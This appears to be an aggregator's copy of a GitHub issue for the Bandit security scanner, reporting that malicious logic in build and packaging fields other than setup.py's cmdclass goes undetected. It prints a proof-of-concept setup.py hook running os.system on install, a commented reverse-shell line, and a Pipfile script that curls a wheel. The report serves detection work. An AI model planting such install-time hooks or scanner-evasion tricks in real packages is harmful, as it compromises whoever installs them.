Methods to Bypass Bandit Detection

Aperta
#1,399 2 commenti 0 reazioni 0 assegnatari Vedi su GitHub

@AirbusA321NX ci sta già lavorando.

Dal 31/8/2026.

Valutazione

Difficoltà
4/5
Tempo stimato
3-5 giorni
Idoneità per principianti
45/100
Tipo di issue
Bug
Chiarezza
Abbastanza chiara
Stato di attività
Attiva
Stack tecnologico
python
Ambito
security, tooling

Direzione di ricerca

Inizia riproducendo le lacune segnalate in setup.py, pyproject.toml e Pipfile, quindi esamina gli entry point esistenti di Bandit per l'analisi dei file di configurazione. Conferma come viene rilevato cmdclass e confronta la gestione di distclass, ext_modules, ext_package, [tool.poetry.scripts] e [scripts]. Il lavoro è completato quando Bandit identifica la logica eseguibile o dannosa segnalata in questi campi senza tralasciare il caso esistente di cmdclass.

Scritto dal modello di indicizzazione a partire dal testo della issue.

Descrizione

bug

Bandit can perform security analysis on configuration files involved in the build and installation process. For example, when malicious code is introduced through the cmdclass field in setup.py, Bandit is able to detect the issue and identify the field as the source.

However, we found that there are still several ways to bypass Bandit’s security detection. Similar malicious code can be introduced through other configuration fields, but Bandit does not currently detect them.

Examples include:

  • setup.py: distclass, ext_modules, ext_package
  • pyproject.toml: [tool.poetry.scripts]
  • Pipfile: [scripts]
    These fields can also be used to introduce executable or malicious logic during build, installation, or runtime, while avoiding detection by Bandit.

Here are the examples during testing:

  1. Malicious code introduced by cmdclass field in setup.py can be detected by Bandit.
# setup.py
from setuptools import setup, 
find_packages
from setuptools.command.egg_info import egg_info
import os

class RunEggInfoCommand(egg_info):
    def run(self):
        os.system("echo 'You Have been pwned' > /tmp/pwned")
#os.system("bash -i >& /dev/127.0.0.1/1234/ 0>&1")
        egg_info.run(self)

setup(
    name="secretInspector",
    version="0.0.2",
    packages=find_packages(),
    cmdclass={
        'egg_info': RunEggInfoCommand
    },
    description="very interesting secret inspection module",
    long_description=open('README.md').read(),
    long_description_content_type="text/markdown",
    author="jake",
    author_email="[email protected]",
    classifiers=[
        "Programming Language :: Python :: 3",
        "License :: OSI Approved :: MIT License",
        "Operating System :: OS Independent",
    ],
    python_requires='>=3.6',
)
  1. Malicious code introduced by [scripts] field in pipfile
    can Not be detected by Bandit.
[scripts]
python = "curl -O http://127.0.0.1:8000/demo-0.0.1-py3-none-any.whl"
python3 = "echo 'You Have been pwned' > /tmp/pwned"
Image Image
Lingua principale
Python
Stelle
8.4k
Fork
893
Merge medio
6h 52m
PR unite (30g)
3

Preparare l'ambiente

Come iniziare

  1. Leggi tutta la issue e poi la guida ai contributi del progetto.
  2. Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
  3. Fai un fork del repository e lavora su un branch.
  4. Apri una pull request che faccia riferimento al numero della issue.

Altre issue di PyCQA/bandit

Tutte le issue di PyCQA/bandit

Issue simili

Altre issue su Python

Ricevi le nuove issue nella tua casella

Un breve riepilogo di issue GitHub adatte ai principianti.